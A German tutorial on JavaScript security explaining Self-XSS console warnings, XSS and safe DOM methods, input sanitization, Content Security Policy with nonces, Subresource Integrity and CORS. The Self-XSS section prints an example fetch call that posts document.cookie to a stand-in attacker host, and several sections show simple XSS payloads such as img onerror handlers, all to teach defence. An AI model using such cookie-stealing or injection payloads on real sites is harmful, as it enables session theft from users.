JavaScript Sicherheit

Die Console-Warnung: Was ist Self-XSS?

Wenn du die Browser-Console öffnest (F12), siehst du oft eine Warnung wie diese:

Was ist das?

Das ist eine Warnung vor Self-XSS (Self Cross-Site Scripting). Dabei werden Leute durch Social Engineering dazu gebracht, selbst bösartigen Code in die Console einzugeben.

Wie funktioniert der Betrug?

//Beispiel eines Betrugs
// Jemand schickt dir: "Drücke F12 und füge das ein für gratis Features!"
document.cookie;  // Könnte deine Cookies stehlen
// oder
fetch('https://boese-seite.com/steal', {
    method: 'POST',
    body: JSON.stringify({cookies: document.cookie})
});

Betrifft mich das als Entwickler?

Diese Warnung ist für die Nutzer deiner Website, nicht für dich als Entwickler. Du kannst die Console weiterhin normal zum Debuggen verwenden. Die Warnung soll verhindern, dass unwissende User ausgetrickst werden.

Was kann JavaScript eigentlich?

Um zu verstehen, wo Gefahren lauern, müssen wir wissen, was JavaScript kann und was nicht:

Was JavaScript KANN:

Was JavaScript NICHT KANN:

XSS - Cross-Site Scripting

XSS ist die häufigste und gefährlichste Sicherheitslücke bei JavaScript. Dabei wird fremder Code auf deiner Website ausgeführt.

Wie funktioniert XSS?

Ein Angreifer schafft es, eigenen JavaScript-Code in deine Website einzuschleusen - meist über User-Input, der nicht richtig überprüft wird.

// GEFÄHRLICH!
let userComment = "<script>alert('Gehackt!')</script>";
document.getElementById("comments").innerHTML = userComment;

// Der Script-Tag wird ausgeführt!

// SICHER!
let userComment = "<script>alert('Gehackt!')</script>";
document.getElementById("comments").textContent = userComment;

// Der Text wird angezeigt, aber NICHT als Code ausgeführt!

Arten von XSS

innerHTML vs. textContent - Der Unterschied ist wichtig!

// Zeigt nur Text, kein Code!
element.textContent = userInput;

// Führt HTML/JavaScript aus!
element.innerHTML = userInput;

Praktisches Beispiel

JavaScript Kopieren

let userName = "<img src=x onerror='alert(\"XSS\")'>";

// FALSCH - führt das img-onerror aus
document.getElementById("greeting").innerHTML = "Hallo " + userName;

// RICHTIG - zeigt den Text, führt nichts aus
document.getElementById("greeting").textContent = "Hallo " + userName;

Input Validation - User-Eingaben überprüfen

Vertraue niemals blind auf User-Input - weder im Frontend noch im Backend!

Was sollte validiert werden?

Beispiel - E-Mail validieren

JavaScript Kopieren

function istGueltigeEmail(email) {
    // Einfache Regex für E-Mail-Format
    const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    
    // Länge prüfen
    if (email.length > 254) return false;
    
    // Format prüfen
    return emailRegex.test(email);
}

// Verwendung
let userEmail = document.getElementById("email").value;

if (istGueltigeEmail(userEmail)) {
    console.log("E-Mail ist gültig");
} else {
    console.log("Ungültige E-Mail!");
}

Beispiel - HTML-Tags entfernen (Sanitization):

JavaScript Kopieren

function entferneHTML(text) {
    // Erstelle ein temporäres Element
    let temp = document.createElement('div');
    temp.textContent = text;
    return temp.innerHTML;
}

// Oder einfacher:
function entferneHTML(text) {
    return text
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;");
}

// Verwendung
let userInput = "<script>alert('XSS')</script>";
let saubererText = entferneHTML(userInput);
console.log(saubererText);  // "&lt;script&gt;alert('XSS')&lt;/script&gt;"

Sichere vs. Unsichere Methoden

Eine Übersicht, welche JavaScript-Methoden sicher sind und welche Vorsicht erfordern:

// NIEMALS machen!
eval(userInput);                          // Führt beliebigen Code aus
new Function(userInput)();                // Gleiche Gefahr
setTimeout(userInput, 1000);              // String wird als Code ausgeführt
element.innerHTML = "<img src='" + userInput + "'>";  // XSS möglich

Best Practices für sicheres JavaScript

Was ich bei der JavaScript-Entwicklung verinnerliche und beachte:

Content Security Policy (CSP)

CSP ist ein HTTP-Header, der definiert, welche Ressourcen deine Website laden darf. Das verhindert viele XSS-Angriffe.

Wie funktioniert CSP?

Der Server sendet einen Header mit Regeln, z.B.:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

Das bedeutet:

• default-src 'self' - Alle Ressourcen nur von der eigenen Domain
• script-src 'self' https://trusted.cdn.com - JavaScript nur von eigener Domain und diesem CDN

Wichtige CSP-Direktiven:

http Kopieren

Content-Security-Policy:
    default-src 'self';                    /* Standard: nur eigene Domain */
    script-src 'self' 'unsafe-inline';     /* JavaScript-Quellen */
    style-src 'self' 'unsafe-inline';      /* CSS-Quellen */
    img-src 'self' data: https:;           /* Bild-Quellen */
    font-src 'self' data:;                 /* Font-Quellen */
    connect-src 'self';                    /* fetch/XHR-Ziele */
    frame-src 'none';                      /* iframes verbieten */

Was bedeutet "inline" genau?

Das war mir am Anfang nicht ganz klar, hat es mit der *.js zu tun? Nein, genau das, was ich befürchtet hatte: "Inline" bedeutet, dass CSS oder JavaScript direkt im HTML-Dokument steht, statt in separaten Dateien.

Inline CSS - Drei Varianten

html Kopieren

<!-- 1. Style-Tag im <head> - IST INLINE! -->
<style>
    .meine-klasse {
        color: red;
    }
</style>

<!-- 2. Style-Attribut im Element - IST INLINE! -->
<p style="color: red;">Roter Text</p>

<!-- 3. Externe CSS-Datei - NICHT INLINE -->
<link rel="stylesheet" href="css/style.css">

Puh. Nicht "mal eben" zurechtschubsen, wenn dir hier und da ein Pixel fehlt. Schade drum! Aber okay. Es macht sich ja auch nicht so schick. Na gut, dann wohl Augen zu und durch.

Inline JavaScript - Drei Varianten

html Kopieren

<!-- 1. Script-Tag im HTML - IST INLINE! -->
<script>
    console.log('Hallo');
</script>

<!-- 2. Event-Attribute im Element - IST INLINE! -->
<button onclick="alert('Hallo')">Klick</button>

<!-- 3. Externe JS-Datei - NICHT INLINE -->
<script src="js/script.js"></script>

Was blockiert CSP ohne 'unsafe-inline'?

Wenn dein CSP-Header so aussieht:

Content-Security-Policy: style-src 'self'; script-src 'self';

Warum ist 'unsafe-inline' unsicher?

Wenn du 'unsafe-inline' erlaubst, kann auch ein Angreifer inline-Code einschleusen:

// CSP verbietet inline
// Angreifer versucht das gleiche:
element.innerHTML = 
  "<img src=x onerror='stealCookies()'>";

// → Browser blockiert onerror!

// CSP erlaubt 'unsafe-inline'
// Angreifer schleust ein:
element.innerHTML = 
  "<img src=x onerror='stealCookies()'>";

// → onerror läuft, weil inline erlaubt!

Was heißt das jetzt - keine inline Styles?

Meine Situation: Ich würde gerne in meinen Tutorials hier und da <style> im <head> für tutorial-spezifische Styles verwenden, AUCH damit es im Quellcode für jeden sofort sichtbar ist - ich teile ja gerne, was ich hier erarbeite. Das ist technisch "inline CSS".

Alternative mit Nonce: Wenn du aber wirklich inline-Code brauchst, kannst du statt 'unsafe-inline' einen Nonce verwenden. Das ist ein einmaliger, zufälliger Wert, der vom Server generiert wird:

HTML Kopieren

<!-- HTTP-Header -->
Content-Security-Policy: script-src 'nonce-abc123xyz'

<!-- HTML -->
<script nonce="abc123xyz">
    // Nur dieser spezifische Script-Block wird erlaubt
    console.log('Erlaubt!');
</script>

<script>
    // Dieser wird blockiert (kein Nonce)
    console.log('Blockiert!');
</script>

Das verhindert, dass Angreifer eigenen inline-Code einschleusen können, weil sie den zufälligen Nonce nicht kennen.

Subresource Integrity (SRI)

Wenn du externe Scripts von CDNs lädst, kann SRI sicherstellen, dass die Datei nicht manipuliert wurde:

HTML Kopieren

<!-- Ohne SRI - unsicher -->
<script src="https://cdn.example.com/lib.js"></script>

<!-- Mit SRI - sicher -->
<script 
    src="https://cdn.example.com/lib.js"
    integrity="sha384-abc123..."
    crossorigin="anonymous">
</script>

Der Browser prüft den Hash der Datei. Wurde sie verändert, wird sie nicht ausgeführt.

Same-Origin Policy und CORS

Browser blockieren standardmäßig Requests zu anderen Domains - das ist die Same-Origin Policy.

JavaScript Kopieren

// Von meineseite.de zu api.andereseite.de
fetch('https://api.andereseite.de/data')
    .then(res => res.json());
// → Wird blockiert, außer der Server erlaubt es via CORS

CORS (Cross-Origin Resource Sharing) ist die kontrollierte Ausnahme: Der Server kann bestimmte Domains erlauben.